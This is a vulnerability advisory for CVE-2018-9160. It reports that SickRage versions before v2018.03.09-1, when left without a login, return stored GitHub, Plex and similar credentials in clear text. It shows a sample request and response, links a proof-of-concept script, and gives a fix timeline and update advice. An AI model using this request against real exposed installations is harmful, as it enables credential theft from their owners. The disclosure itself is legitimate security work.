CVE-2018-9160# Sickrage cleartext github credentials CVE-2018-9160
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1. About
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Exploit Title: SickRage Clear-Text Credentials in HTTP Response
Date: 2018-04-01
Exploit Author: Sven Fassbender
Contact: https://twitter.com/mezdanak
Vendor Homepage: https://sickrage.github.io
Software Link: https://github.com/SickRage/SickRage
Version: < v2018.03.09-1
CVE : CVE-2018-9160
Category: webapps
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2. Background information
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"SickRage is an automatic Video Library Manager for TV Shows.
It watches for new episodes of your favourite shows, and when they are posted it does its magic:
automatic torrent/nzb searching, downloading, and processing at the qualities you want." --extract from https://sickrage.github.io
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3. Vulnerability description
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SickRage returns clear-text credentials for e.g. GitHub, AniDB, Kodi, Plex etc. in HTTP responses.
Prerequisite is that the user did not set a username and password for their SickRage installation. (not enforced, default)
HTTP request:
```html
GET /config/general/ HTTP/1.1
Host: 192.168.1.13:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.13:8081/config/backuprestore/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```
HTTP response:
```html
HTTP/1.1 200 OK
Content-Length: 113397
Vary: Accept-Encoding
Server: TornadoServer/4.5.1
Etag: "e5c29fe99abcd01731bec1afec0e618195f1ae37"
Date: Fri, 02 Mar 2018 10:47:51 GMT
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang="nl_NL">
<head>
[...]
<input type="text" name="git_username" id="git_username" value="email@example.com" class="form-control input-sm input300" autocapitalize="off" autocomplete="no" />
[...]
<input type="password" name="git_password" id="git_password" value="supersecretpassword" class="form-control input-sm input300" autocomplete="no" autocapitalize="off" />
[...]
</div>
</body>
</html>
```
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4. Proof of Concept
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https://github.com/mechanico/sickrageWTF/blob/master/get_github_creds_sickrage.py
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5. Timeline
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[2018-03-07] Vulnerability discovered
[2018-03-08] Vendor contacted
[2018-03-08] Vendor replied
[2018-03-09] Vulnerability fixed. (https://github.com/SickRage/SickRage/compare/v2018.02.26-2...v2018.03.09-1)
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6. Recommendation
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Update the SickRage installation on v2018.03.09-1 or later.
Protect the access to the web application with proper user credentials.
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